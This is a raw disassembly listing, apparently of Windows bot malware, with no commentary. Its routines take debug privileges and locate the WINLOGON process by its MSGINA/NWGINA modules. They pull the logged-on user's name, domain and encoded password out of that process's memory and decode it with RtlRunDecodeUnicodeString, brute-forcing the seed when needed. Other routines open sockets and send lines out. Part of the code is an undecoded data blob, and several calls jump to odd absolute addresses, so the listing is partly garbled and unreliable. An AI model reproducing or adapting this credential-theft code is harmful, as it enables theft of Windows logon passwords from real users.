		jmp	short loc_416CAA
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAF0C
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAF0C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1


loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h


loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D


loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 79146850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78F468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 0E8535959h, 22B923Ch, 5B5E5F90h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 5868FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93ECBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 33917FE8h,	75C08502h
		dd 0FC75FF8Fh, 9172E890h, 75FF0231h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43793Ch
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0F9E89056h, 85023390h, 56B175C0h,	90EEE890h
		dd 458B0231h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B30
		jmp	loc_417098
; ---------------------------------------------------------------------------


loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 2690C4Ch
		nop
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3E1C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3E10, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4020, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3E18, eax
		call	esi
		mov	dword_4D3E14, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2E10
		push	edi
		push	ebx
		push	offset off_437A6C
		call	esi
		push	edi
		mov	edi, offset dword_4D3610
		push	edi
		push	offset off_437A54
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4028
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------


loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C


loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D4028, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379F8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------


loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------


loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9


loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_4379C0
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_437994


loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 2780822h
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437960


loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h


loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3E1C
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 279067Ch
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3E1C
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9


loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3E10
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4020
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1


loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3E18


loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175


loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi


loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 279067Ch
		nop
		mov	eax, edi


loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207


loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3E18


loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------


loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 267087Fh
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27B0263h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27A0D27h
		nop
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB


loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2E10
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3610
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389


loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------


loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 27308B0h
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4034, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D402C, eax
		mov	dword_4D4030, edi


loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 279067Ch
		mov	esi, [ebp+var_10]


loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 265098Ch
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 267087Fh
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27B0263h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148


loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27A0D27h
		nop
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27B0000h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2E10
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D3610
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515


loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 279067Ch
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------


loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467


loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 265098Ch


loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax


loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D402C, ebx
		mov	dword_4D4030, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F


loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537


loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 265098Ch
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4028
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	ecx, dword_4D4028
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4030
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4034
		push	eax
		call	dword_4D3E14
		push	[ebp+var_4]
		mov	edi, offset dword_4D3E20
		push	offset dword_4D2E10
		push	offset dword_4D3610
		push	[ebp+arg_0]
		push	offset dword_437B7C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 279067Ch
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4028
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27A0C9Ch
		nop
		push	eax
		nop
		call	near ptr 27A0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3610
		mov	edi, 200h
		mov	esi, offset dword_4D2C10


loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D4028
		add	eax, eax
		push	eax
		push	dword_4D4030
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3E14
		mov	eax, dword_4D4028
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4


loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0


loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694


loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0


loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1


loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2E10
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B7C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------


loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2E10
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437BCC
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27A0C9Ch
		push	eax
		call	near ptr 279067Ch
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB024
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFE4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF4C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB03C


loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------


loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi


loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_4299C8 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D403C
		pop	ecx


loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFF4


loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA75C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA60 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
